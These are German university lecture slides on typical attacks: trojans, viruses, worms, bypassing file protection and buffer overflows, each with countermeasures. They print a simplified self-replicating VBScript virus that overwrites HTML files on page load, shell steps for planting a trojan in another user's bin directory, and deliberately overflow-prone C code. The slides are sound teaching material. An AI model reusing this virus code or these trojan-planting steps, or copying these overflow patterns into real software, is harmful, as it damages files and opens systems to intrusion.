2 Typische Angriffe. Trojanisches Pferd. Virus. Wurm. Umgehung von Sicherheitsmechanismen. Ausnutzung von Software-Verletzlichkeiten
|
|
- Arthur Lang
- vor 7 Jahren
- Abrufe
Transkript
1 2 Typische Angriffe Trojanisches Pferd Virus Wurm Umgehung von Sicherheitsmechanismen Ausnutzung von Software-Verletzlichkeiten... weitere, insbesondere im Netz SS-2 1
2 2.1 Trojanisches Pferd Schadsoftware, die neben nützlicher Funktionalität auch nicht dokumentierte, schädliche Funktionen enthält und diese unabhängig vom Anwender und ohne dessen Wissen ausführt. Beispiele: Programm verhält sich wie normaler Editor, leitet aber heimlich die eingegebenen Daten auch an den Angreifer weiter. Java-Bibliotheksklasse befragt bei jeder Benutzung eine geheime Webseite des Angreifers, ob eine Sabotage-Maßnahme durchgeführt werden soll. Ferngesteuertes Programm! SS-2 2
3 Schutzmaßnahmen: Zugriffsrechte restriktiv handhaben ( 4) (bringt nicht viel) Capability-basierter Schutz ( 4) Sichere Programmübernahme aus vertrauenswürdiger Quelle Programme signieren ( 8) (sofern man dem Unterzeichner vertraut) Informationsflusskontrolle ( 5) Code Reviews Alles nicht einfach! Trojanische Pferde gehören zu den großen Herausforderungen in der IT-Sicherheit! SS-2 3
4 2.2 Virus Code, der vom Angreifer in zunächst korrekte Programme eingebaut wird, bei jedem Start eines so infizierten Wirtsprogramms mitausgeführt wird, dabei weitere Programme in der gleichen Weise infiziert und mehr oder weniger Unheil anrichtet. Somit: Virus-infiziertes Programm ist Trojanisches Pferd mit der Eigenschaft, auch andere Programme zu solchen Trojanischen Pferden zu machen. SS-2 4
5 Aufbau eines Virus: Erkennungsteil: Infektionsteil: Schadensteil: Bedingungsteil: Tarnungsteil: erkennt bereits infizierte Programme infiziert noch nicht infizierte Programme enthält die Schadensfunktion enthält Bedingungen für die genannten Aktivitäten erschwert die Erkennung SS-2 5
6 Typische Programmstruktur im Binärcode (vereinfacht) gesund infiziert 0 JUMP START 0 JUMP START START Virus JUMP START SS-2 6
7 Arten von Viren: Datei-Viren: infizieren ausführbare Dateien Boot-Viren: infizieren den Boot-Sektor von Festplatten... auch in Kombination (multipartite virus) Makro-Viren: nicht Binärprogramme werden infiziert, sondern Daten/Skripte, die von Interpretierern für Skriptsprachen aufbereitet bzw. ausgeführt werden. Makro-Viren sind wegen ihrer spezifischen Datenformate in der Regel an bestimmte Anwendungen gebunden: SS-2 7
8 Beispiel 1: Makros in Word (prominent: Melissa, 1999): Aktionsfolgen zur Dokumentbearbeitung können in Makro zusammengefasst werden - auslösbar z.b. mit Funktionstaste, ferner automatische Ausführung beim Öffnen eines Dokuments. Makrosprache hat Mächtigkeit einer Programmiersprache (bei Word: VBA Visual Basic for Applications, oder VBS - Visual Basic Script, nicht nur für Word)! - Virus kann als Makro konzipiert werden, - wird beim Öffnen eines infizierten Dokuments aktiviert; - Verbreitung auf Windows-Systemen vor allem durch (Outlook-Adressbuch!) SS-2 8
9 Beispiel 2: VBS-Virus in Web-Dokumenten (prominent: HTML Internal): Lokale infizierte Webseite infiziert alle.html- und.htm-dateien im lokalen Verzeichnis und in allen darüberliegenden Verzeichnissen. Beim Laden einer infizierten Webseite wird das VBS-Skript gestartet: <body OnLoad= CheckIt(); > lokale Webseite? <script language= VBScript > <! -- Sub CheckIt End Sub If location.protocol = file: then Call IsFile SS-2 9
10 eigentliche Virus-Aktivität_ Sub IsFile erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem: Set fso = CreateObject( Script.FileSystemObject ) erzeuge Windows-Verzeichnispfad: HostPath = Replace(location.href, "file:///", ) HostPath = Replace(HostPath, /, \ ) ermittle Vaterverzeichnis des aktuellen Verzeichnisses: cpath = fso.getparentfoldername(hostpath) folder = fso.getfolder(cpath) SS-2 10
11 infiziere: Set fso = CreateObject( Script.FileSystemObject ) While folder.isrootfolder = false Set fc = folder.files cpath = fso.getparentfoldername(cpath) For each f1 in fc s = fso.getextensionname(f1.name) If f1.path <> HostPath then If s = htm or s = html then fso.copyfile HostPath,f1.path End If Wend End Sub vereinfacht: ganze Datei ersetzen --> </script> SS-2 11
12 Maßnahmen von Viren, um unentdeckt zu bleiben: Stealth-Viren befallen lieber große Dateien als kleine, da Größenänderung weniger auffällig klinken sich in den Überwachungsprozess von Viren ein, z.b. Anti-Viren-Software: Verwischen von Spuren oder Vorspiegeln falscher Informationen. Polymorphe Viren Selbstveränderung des Viren-Codes Retro-Viren bekämpfen aktiv Anti-Viren-Programme SS-2 12
13 Nährboden für Viren: starke Aktivität am Rechner (Programmausführung) Systeme ohne oder mit schwachen Schutzmechanismen (z.b. MS-DOS, frühe Windows-Versionen) Nachlässiger Umgang mit vorhandenen Schutzmechanismen (Browser-Einstellungen, Warnmeldungen) System-Monokultur (z.b. Windows für PCs) Einschleppen durch Programme/Daten dubioser Herkunft (z.b. übers Netz) - wie bei Trojanischen Pferden SS-2 13
14 Gegenmaßnahmen: Beschränkung der Schreibrechte Datei-Integrität mittels Prüfsummen oder Verschlüsselung automatisches Ausführen von Makros ausschalten Viren-Scanner einsetzen SS-2 14
15 2.3 Wurm Programm, das sich über das Netz fortpflanzt, entweder selbsttätig (prominent: Internet Worm, Morris 1988) oder als Anhängsel von s (prominent: Love Letter, 2000), und auf den befallenen Rechnern Schaden stiftet.! Benötigt kein Wirtsprogramm! (d.h. Wurm Trojanisches Pferd) SS-2 15
16 Auswahl: MyDoom, Januar 2004 Verteiltes DoS auf Microsoft und SCO bisher schnellste Ausbreitung verbreitet über und peer-to-peer Sobig Worm, August 2003 Verbreitung über Mail-Attachment Benutzt eigene SMTP-Engine zur Replikation SQL Slammer, Januar 2003 Microsoft SQL 2000 Buffer Overflow (Heap und Stack) Code Red, Juli 2001 Index-Dienst des Microsoft Internet Information Server (IIS) Buffer Overflow in Idq.dll SS-2 16
17 Typische von Würmern benutzte Techniken: Nutzung von Diensten zur Fernausführung von Programmen, (z.b. Unix rsh ist i.a. aber gut geschützt, s.u.) Sicherheitslücken in Internet Daemons (z.b. offengelassene Debug Option in sendmail führt zur Annahme und Ausführung von Shell-Befehlen) Ausnutzung von Implementierungsschwächen von Systemsoftware ( 2.5) Skripte als Anlagen zu s (z.b. in VBS geschrieben), Öffnung führt zu weiterer Verbreitung (z.b. mittels Adressdatei) SS-2 17
18 Gegenmaßnahmen: Restriktive Vergabe von Zugriffsrechten Patches einspielen Sicherheitsmeldungen verfolgen Beachte: Im Gegensatz zu Viren handelt es bei Würmern um um netzspezifische Schadsoftware Vorlesung Netzsicherheit SS-2 18
19 Würmer versus Viren: Wurm ist eigenständiges Programm kann sich selbsttätig fortpflanzen und Kopien auf anderen Rechnern starten Virus integriert sich in ein Wirtsprogramm ist nicht unabhängig vom Wirtsprogramm ablauffähig Aber: manche Schadsoftware ist Zwitter Virus/Wurm (vgl. Melissa) SS-2 19
20 2.4 Umgehung von Sicherheitsmechanismen Passwörter herausfinden ( 3) Dateischutz umgehen ( 4) Geheimcode knacken ( 8)... u.a. Beispiel Dateischutz umgehen: Erfolgreicher Angriff mittels raffiniert geplanter Folge von Aktionen, die der Schutz-Verantwortliche nicht bedacht hat. SS-2 20
21 Beispiel: Herrn Pohl ein Trojanisches Pferd unterschieben % ll ~pohl -rw-r pohl inst 4711 Feb 29 12:34 memo drwxr-x--x 1 pohl inst 512 Feb 10 12:01 bin... Leider ist bin nicht lesbar. % ~pohl/bin/hello Ein Versuch... Hello world!... erfolgreich. % cp trojan ~pohl/bin/hello Noch ein Versuch erfolgreiches Installieren % eines Trojanischen Pferdes (cp ändert nur den Inhalt der Zieldatei, nicht deren Schutzstatus) SS-2 21
22 2.5 Ausnutzung von Software-Verletzlichkeiten Das klassische Beispiel: Puffer-Überlauf (buffer overflow) Def.: Programmiersprache heißt unsicher (unsafe), wenn Programmfehler die Speicherverwaltung stören können. (chaotisches Programmverhalten, Absturz mit Bus Error, Segmentation Fault u.ä. ) Beispiele: Pascal/Modula: ungültige Verweise C/C++ ferner: Feldgrenzenüberschreitung SS-2 22
23 Beispiel aus der Unix-C-Bibliothek: SYNOPSIS #include <stdio.h> char *gets(char *s); char *fgets(char *s, int n, FILE *stream); DESCRIPTION The gets() function reads characters from the standard input stream (see intro(3)), stdin, into the array pointed to by s, until a newline character is read or an end-of-file condition is encountered. The newline character is discarded and the string is terminated with a null character. The fgets() function reads characters from the stream into the array pointed to by s, until n-1 characters are read, or a newline character is read and transferred to s, or an end-of-file condition is encountered. The string is then terminated with a null character. When using gets(), if the length of an input line exceeds the size of s, indeterminate behavior may result. For this reason, it is strongly recommended that gets() be avoided in favor of fgets(). SS-2 23
24 ! Noch mehr gefährliche Funktionen: Standard C Library Functions string(3c) NAME string, strcasecmp, strncasecmp, strcat, strncat, strlcat, strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy, strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok, strtok_r - string operations DESCRIPTION The arguments s, s1, and s2 point to strings (arrays of characters terminated by a null character). The strcat(), strncat(), strlcat(), strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions all alter their first argument. These functions do not check for overflow of the array pointed to by the first argument. SS-2 24
25 Standard C Library Functions printf(3c) NAME printf, fprintf, sprintf, snprintf - print formatted output DESCRIPTION The sprintf() function places output, followed by the null byte (\0), in consecutive bytes starting at s; it is the user's responsibility to ensure that enough storage is available. SS-2 25
26 Anwendung von gets z.b. so: char line[100];... gets(line); und der Programmierer vergißt, längere Zeilen (länger als 100) als fehlerhaft abzufangen! bei längeren Zeilen wird der Keller beschädigt - oder von einem Angreifer gezielt modifiziert! typischer Angriff: SS-2 26
27 Typischer Angriff: Systemprogramm/prozess benutzen, das obigen Code enthält Keller durch planmäßig konstruierte Eingabe so manipulieren, dass Rücksprungadresse umgesetzt wird, und zwar auf diejenige Adresse im Keller, auf der mit eingeschleuster Code steht (der weiteren Code nachzieht); Effekt: Code des Angreifers läuft mit Rechten des Angegriffenen. (So praktiziert beim Internet Worm - unter Benutzung des fingerd Daemon!) SS-2 27
28 Einfaches Beispiel 1 ohne Einschleusung von Code void function (char *args ){ char buff2[4] = ABC ; char buff1[4]; strcpy(buff1,args); } int main( int argc, char *argv[]) { if (argc >1) function(argv[1]); else printf( Kein Argument! ); } Parameter main argc, argv Rücksprungadr. aus main Parameter funct args Rücksprungadr. aus function lokale Variable buff2 lokale Variable buff1 höhere Adressen (Keller wächst im Speicher von oben nach unten) SS-2 28
29 Beispiel: einen Netzdienst abschießen (denial of service) int main(int argc, char *argv[]) { char line[64]; // initialize server... for ( ; ; ) { connfd = accept( listenfd, (SA *) NULL, NULL); write( connfd, "Eingabe: ", 9); n = read( connfd, line, sizeof (line) -1 ); line[n] = 0; serve( line ); close( connfd ); } } SS-2 29
30 void serve(char *str) { char buff[24]; strcpy(buff, str); printf("buff: %s\n", buff); } Eingaben, die länger als 24 Bytes sind, zerstören die Rücksprungadresse - und bringen den Server zum Absturz SS-2 30
31 Schutzmaßnahmen: Sichere Programmiersprachen!! Keller-Segment ohne "execute"-rechte (Solaris; OpenBSD 3.2; Linux: OpenWall, PaX) (verhindert allerdings nicht den Überlauf als solchen) Andere Keller-Organisation, Hüllen für die unsicheren Funktionen, alle möglichen Tricks! Halde muss auch geschützt werden! SS-2 31
2 Typische Angriffe. nutzen technische oder menschliche Schwachstellen aus
2 Typische Angriffe nutzen technische oder menschliche Schwachstellen aus Dateischutz umgehen Passwort knacken Trojanisches Pferd Viren Würmer Software-Schwachstellen... weitere, insbesondere im Netz (Spoofing,
MehrMulticast dt. Gruppenruf. Robert Tolksdorf und Peter Löhr
Multicast dt. Gruppenruf Robert Tolksdorf und Peter Löhr Transportmöglichkeiten Verbindungsorientiert 1:1 TCP Verbindungslos 1:1 UDP Verbindungsorientiert 1:n Multicast Verbindungslos 1:n Multicast Robert
Mehr12.5 Sicherer Programmcode
12.5 Sicherer Programmcode Typische Beispiele für unsicheren Code: Pufferüberlauf ungeschützte kritische Abschnitte (im Englischen: software vulnerabilities) SS-12 1 12.5.1 Pufferüberlauf ausschließen!
MehrTafelübung zu BSRvS 1 6. Sicherheit
Tafelübung zu BSRvS 1 6. Sicherheit Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund olaf.spinczyk@tu-dortmund.de http://ess.cs.uni-dortmund.de/~os/ http://ess.cs.tu-dortmund.de/de/teaching/ss2009/bsrvs1/
MehrZugangskontrolle. Rechtebasierter Zugriffsschutz. Informationsflußkontrolle. Entwicklung sicherer Systeme. Kryptographische Verfahren
Systemsicherheit Vorlesung 4 SWS + Übungen 2 SWS FU Berlin Institut für Informatik SS 2002 Klaus-Peter Löhr Torsten Fink Systemsicherheit - SS 02 Grundbegriffe, Typische Angriffe, Übersicht Zugangskontrolle
MehrÜbungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm
K 9. Übung K 9. Übung K-1 Überblick Besprechung 7. Aufgabe (jbuffer) Unix, C und Sicherheit K.1 Mögliche Programmsequenz für eine Passwortabfrage in einem Server- Programm: int main (int argc, char *argv[])
Mehr2. Typische Angriffe. Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen.
2. Typische Angriffe Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen. 1 2 Typische Angriffe nutzen Schwachstellen des Systems aus Implementierungsschwächen
MehrEin- und Ausgabe mit Dateien
Ein- und Ausgabe mit Dateien Edouard Lamboray Informatik I für D-ITET (2004) Ein- und Ausgabekonzepte in C und C++ fstream header Streamobjekt Files schreiben und lesen Argumente von main Vorbemerkungen
MehrGrundlagen der Programmierung in C++ Arrays und Strings, Teil 1
Grundlagen der Programmierung in C++ Arrays und Strings, Teil 1 Wintersemester 2005/2006 G. Zachmann Clausthal University, Germany zach@in.tu-clausthal.de Das C++ Typsystem simple structured integral enum
MehrEin- und Ausgabe mit Dateien
Ein- und Ausgabe mit Dateien Edouard Lamboray Informatik I für D-ITET (2004) Ein- und Ausgabekonzepte in C und C++ fstream header Streamobjekt Files schreiben und lesen Argumente von main 2 Vorbemerkungen
Mehr7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {
Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung
MehrArrays (Felder/Vektoren)
Arrays (Felder/Vektoren) Zusammenfassung mehrerer Variablen des gleichen Typs unter einem Namen im Speicher direkt hintereinander abgelegt Definition: Typname Arrayname [Größe]; Beispiel: int ar [5]; Zugriff
MehrAngewandte IT-Sicherheit
Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm:
MehrZeiger in C und C++ Zeiger in Java und C/C++
1 Zeiger in Java und C/C++ Zeigervariable (kurz: Zeiger, engl.: pointer): eine Variable, die als Wert eine Speicheradresse enthält Java: Zeiger werden implizit für Referenztypen (Klassen und Arrays) verwendet,
MehrFEBE Die Frontend-Backend-Lösung für Excel
FEBE Die Frontend--Lösung für FEBE Die Frontend--Lösung für FEBE.pptx 8.04.206 0:43 FEBE Die Frontend--Lösung für Nutzer A alle_aufträge neuer_auftrag Auftragsänderung Nutzer B alle_aufträge neuer_auftrag
MehrProgrammiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften
Programmiertechnik Teil 4 C++ Funktionen: Prototypen Overloading Parameter C++ Funktionen: Eigenschaften Funktionen (Unterprogramme, Prozeduren) fassen Folgen von Anweisungen zusammen, die immer wieder
MehrPraxis der Programmierung
Zeichenketten (Strings), Ein- und Ausgabe Institut für Informatik und Computational Science Universität Potsdam Henning Bordihn Einige Folien gehen auf A. Terzibaschian zurück. 1 Zeichenketten (Strings)
MehrTeil I Debuggen mit gdb
Teil I Debuggen mit gdb Wer kennt das nicht? $./a.out Segmentation fault Was tun dagegen? printf()s in den Code einfügen? Besser (und professioneller): Einen Debugger verwenden Wer kennt das nicht? $./a.out
MehrC-Kurs 2010 Pointer. 16. September v2.7.3
C-Kurs 2010 Pointer Sebastian@Pipping.org 16. September 2010 v2.7.3 This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 License. C-Kurs Mi Konzepte, Syntax,... printf, scanf Next
MehrDatensicherheit. Inhalt. Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls Verena Novak 1
Datensicherheit Inhalt Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls 14.11.2003 Verena Novak 1 Was bedeutet Datensicherheit? Zustand, in dem Daten sowohl inhaltlich
MehrSicherheit in Software
Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken
MehrProgrammier-Befehle - Woche 10
Funktionen Rekursion Selbstaufruf einer Funktion Jeder rekursive Funktionsaufruf hat seine eigenen, unabhängigen Variablen und Argumente. Dies kann man sich sehr gut anhand des in der Vorlesung gezeigten
MehrE Angriffskonzepte, Systemschwachstellen
E Angriffskonzepte, Systemschwachstellen E Angriffskonzepte, Systemschwachstellen Angriff: nicht-autorisierter Zugriff auf ein System Abwehrmaßnahmen Ziele Authentisierung von Benutzern abgesicherte Kommunikation
MehrEinführung in die Programmiersprache C
Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.
MehrProgrammieren in C. Funktionen mit Zeigern und Adressen. Prof. Dr. Nikolaus Wulff
Programmieren in C Funktionen mit Zeigern und Adressen Prof. Dr. Nikolaus Wulff ByValue versus byreferenz C übergibt immer Kopien der Variablen an Funktionen. Es ist nur dann möglich die Werte von Variablen
MehrDateizugriff unter C
Begriffe Dateizugriff unter C Datei = sequentielle Ansammlung von Datenbytes, z.b. auf einer Festplatte Auch Bildschirm und Tastatur werden wie Dateien behandelt: Bildschirm ist die Datei stdout Tastatur
MehrC-Programme kompilieren mit Visual Studio Express
C-Programme kompilieren mit Visual Studio Express Die Beispiele, Aufgaben und Lösungen zum Buch C als erste Programmiersprache können mit Visual Studio Express von Microsoft bearbeitet, kompiliert und
MehrU23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides
Twix e.v. http://koeln.ccc.de 2016-11-28 Überblick 1 Motivation Was ist Shellcode? Beispiel 2 Einstieg Erzeugen, Testen von Shellcode 3 Der erste Shellcode Strings in Shellcode 4 Nullbytes, NOP Slides
MehrE.1 Angriffe von innerhalb des Systems
E Angriffskonzepte, Systemschwachstellen E Angriffskonzepte, Systemschwachstellen Angriff: nicht-autorisierter Zugriff auf ein System Abwehrmaßnahmen Ziele Authentisierung von Benutzern abgesicherte Kommunikation
MehrEinführung in die Programmiersprache C
Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.
MehrJava Tools JDK. IDEs. Downloads. Eclipse. IntelliJ. NetBeans. Java SE 8 Java SE 8 Documentation
Java Tools JDK http://www.oracle.com/technetwork/java/javase/ Downloads IDEs Java SE 8 Java SE 8 Documentation Eclipse http://www.eclipse.org IntelliJ http://www.jetbrains.com/idea/ NetBeans https://netbeans.org/
MehrEine Mini-Shell als Literate Program
Eine Mini-Shell als Literate Program Hans-Georg Eßer 16.10.2013 Inhaltsverzeichnis 1 Eine Mini-Shell 1 1.1 Einen Befehl parsen......................... 2 1.2 Was tun mit dem Kommando?...................
MehrBuffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)
Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else
MehrTrojaner. Verbundstudium TBW Veranstaltung IKS. Jochen Voigt und Hans Faber
Viren, Würmer W und Trojaner Verbundstudium TBW Veranstaltung IKS Jochen Voigt und Hans Faber Viren Inhaltsfolie Definition / Prinzip Grundtypen Schaeden / Vorbeugende Massnahmen Trojaner Definition /
MehrINE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen
INE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen 1 Call by Value, Structs 2 von 45 Call by value (Wiederholung)
MehrC/C++-Programmierung
1 C/C++-Programmierung Aufzählungen, Zeichenketten Sebastian Hack Christoph Mallon (hack mallon)@cs.uni-sb.de Fachbereich Informatik Universität des Saarlandes Wintersemester 2009/2010 2 Aufzählungen enumerations,
MehrGI Vektoren
Vektoren Problem: Beispiel: viele Variablen vom gleichen Typ abspeichern Text ( = viele char-variablen), Ergebnisse einer Meßreihe ( = viele int-variablen) hierfür: Vektoren ( = Arrays = Feld ) = Ansammlung
MehrNetzwerksicherheit Musterlösung Übungsblatt 4: Viren
Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write
MehrArrays,Strings&Pointer in C/C++
Arrays,Strings&Pointer in C/C++ Vortrag Mathias Reich Am 21.5.2002 Pointer Da zur Zeit der Compelierung des Programms nicht immer der Umfang der zu bearbeitenden Daten feststeht muss man sich - in manchen
MehrHello world. Sebastian Dyroff. 21. September 2009
Hello world Sebastian Dyroff 21. September 2009 1 / 35 Inhaltsverzeichnis Organisatorisches Hello World Typen und Operatoren Programmfluss Weitere Konstrukte Nützliche Tipps 2 / 35 Inhalte dieser Veranstaltung
MehrProgrammieren in Java
Programmieren in Java Vorlesung 02: Methoden Prof. Dr. Peter Thiemann Albert-Ludwigs-Universität Freiburg, Germany SS 2017 Peter Thiemann (Univ. Freiburg) Programmieren in Java JAVA 1 / 17 Inhalt Scanner
Mehr1. Definition. 2. Interne Speicherung der Zeichenketten. 3. Vereinbarung von Zeichenketten
1. Definition Eine Zeichenkette (String) ist eine Aufeinanderfolge von darstellbaren Zeichen, die sequentiell im Speicher angeordnet sind und gemeinsam angesprochen werden. Jedes einzelne Zeichen wird
MehrEinführung in die C-Programmierung
Einführung in die C-Programmierung Warum C? Sehr stark verbreitet (Praxisnähe) Höhere Programmiersprache Objektorientierte Erweiterung: C++ Aber auch hardwarenahe Programmierung möglich (z.b. Mikrokontroller).
MehrÜbungspaket 29 Dynamische Speicherverwaltung: malloc() und free()
Übungspaket 29 Dynamische Speicherverwaltung malloc() und free() Übungsziele Skript In diesem Übungspaket üben wir das dynamische Alloziieren 1. und Freigeben von Speicherbereichen 2. von Zeichenketten
MehrDynamische Speicherverwaltung
Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Inhaltsverzeichnis 1 Allgemeines zur Speichernutzung 2 2 Ziel und Nutzen 2 3 Anwendung in C 2 3.1 malloc............................... 3 3.2 calloc...............................
MehrHacking in C (Windows) Reinhard Oertel
Hacking in C (Windows) Reinhard Oertel Agenda Einleitung Techniken Hintergrundwissen Buffer-Overflow Zusammenfassung 03.06.11 Hacking in C 2/36 Meldungen 2011 Quelle: Spiegel.de 03.06.11 Hacking in C 3/36
MehrEinführung Makros Includes Errors und Warnings Pragmas Diverses. Der C-Präprozessor. Lukas Stabe. Universität Hamburg
Der C-Präprozessor Lukas Stabe Universität Hamburg Proseminar C - Grundlagen und Konzepte, 2013 Lukas Stabe C-Präprozessor 1 / 19 Inhalt 1. Einführung 2. Makros 3. Includes 4. Errors und Warnings 5. Pragmas
MehrEinleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens
Grundlagen von C Jonas Gresens Proseminar C Grundlagen und Konzepte Arbeitsbereich Wissenschaftliches Rechnen Fachbereich Informatik Fakultät für Mathematik, Informatik und Naturwissenschaften Universität
MehrÜbersicht PERL. !!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!!
!!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!! Erste Zeile eines PERL-Scripts: #! /usr/bin/perl Variablen in PERL: Normale Variablen beginnen mit einem $-Zeichen Array-Variablen beginnen mit
MehrE-/A-Funktionalität nicht Teil der Programmiersprache
C Ein-/Ausgabe C Ein-/Ausgabe C.1 Überblick E-/A-Funktionalität nicht Teil der Programmiersprache Realisisierung durch "normale" Funktionen Bestandteil der Standard-Funktionsbibliothek einfache Programmierschnittstelle
MehrViren und Würmer. B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34
Viren und Würmer B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34 Inhalt 1 Überblick Malware Viren Würmer 2 SQL Slammer 3 Stuxnet
MehrBash-Skripting Linux-Kurs der Unix-AG
Bash-Skripting Linux-Kurs der Unix-AG Sebastian Weber 13.06.2012 Was ist ein Bash-Skript? Skript muss mit chmod +x ausführbar gemacht sein Aneinanderreihung von Befehlen normale Befehle nutzbar Sebastian
MehrSAP-Daten per HTML anzeigen
SAP-Daten per HTML anzeigen Oftmals besteht die Notwendigkeit einfach nur bestimmte Daten eines SAP-Systems anzuzeigen. Die Installation des SAPGUI für Windows, mit mehreren hundert Megabytes, scheint
MehrNetzwerksicherheit Musterlösung Übungsblatt 5: Firewalls
Institut für Informatik Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 5: Firewalls 1 Virus-Konstruktion Erstellen Sie nun ein Programm in einer Programmiersprache Ihrer Wahl, welches
MehrHeap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen
Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen
MehrÜbungspaket 14 Eindimensionale Arrays
Übungspaket 14 Eindimensionale Arrays Übungsziele: Skript: Deklaration und Verwendung eindimensionaler Arrays Kapitel: 33 Semester: Wintersemester 2016/17 Betreuer: Kevin, Matthias, Thomas und Ralf Synopsis:
MehrEinführung in C. EDV1-04C-Einführung 1
Einführung in C 1 Helmut Erlenkötter C Programmieren von Anfang an Rowohlt Taschenbuch Verlag ISBN 3-4993 499-60074-9 19,90 DM http://www.erlenkoetter.de Walter Herglotz Das Einsteigerseminar C++ bhv Verlags
MehrMakros in Office-Paketen deaktivieren
Makros in Office-Paketen deaktivieren 1 Vorwort 1 2 Microsoft Office 2003 3 3 Microsoft Office 2007 4 4 Microsoft Office 2010 6 5 Microsoft Office 2013 7 6 Microsoft Office 2016 9 7 LibreOffice 5.x 10
MehrHeap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen
Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen
MehrJAVA BASICS. 2. Primitive Datentypen. 1. Warum Java? a) Boolean (logische Werte wahr & falsch)
JAVA BASICS 2. Primitive Datentypen 1. Warum Java? weit verbreitet einfach und (relativ) sicher keine Pointer (?) keine gotos kein Präprozessor keine globalen Variablen garbage collection objekt-orientiert
MehrKurzeinführung in C99
Kurzeinführung in C99 Institut für Numerische Simulation Rheinische Friedrich-Wilhelms-Universität Bonn Oktober 2013 Überblick 1 Compiler und Editoren - Was wird benötigt um ein Programm zu erstellen 2
MehrProgrammiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm
Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i
MehrZeichenketten (1) Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt
Zeichenketten (1) Literale Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt "Hallo Welt" Mehrere solcher Literale gelten als eine Zeichenkette, wenn sie nur durch Whitespaces (Leerzeichen,
MehrIntroduction to Python. Introduction. First Steps in Python. pseudo random numbers. May 2016
to to May 2016 to What is Programming? All computers are stupid. All computers are deterministic. You have to tell the computer what to do. You can tell the computer in any (programming) language) you
Mehr6 Speicherorganisation
Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen Speicherbereich für
MehrBash-Skripting Linux-Kurs der Unix-AG
Bash-Skripting Linux-Kurs der Unix-AG Sebastian Weber 07.01.2013 Was ist ein Bash-Skript? Skript muss mit chmod +x ausführbar gemacht sein Aneinanderreihung von Befehlen normale Befehle nutzbar Sebastian
MehrBeispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging
Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Das Beispiel orientiert sich am selben Code, der im Teil 1 der Serie verwendet wurde. Text Styles: Shell Prompt mit
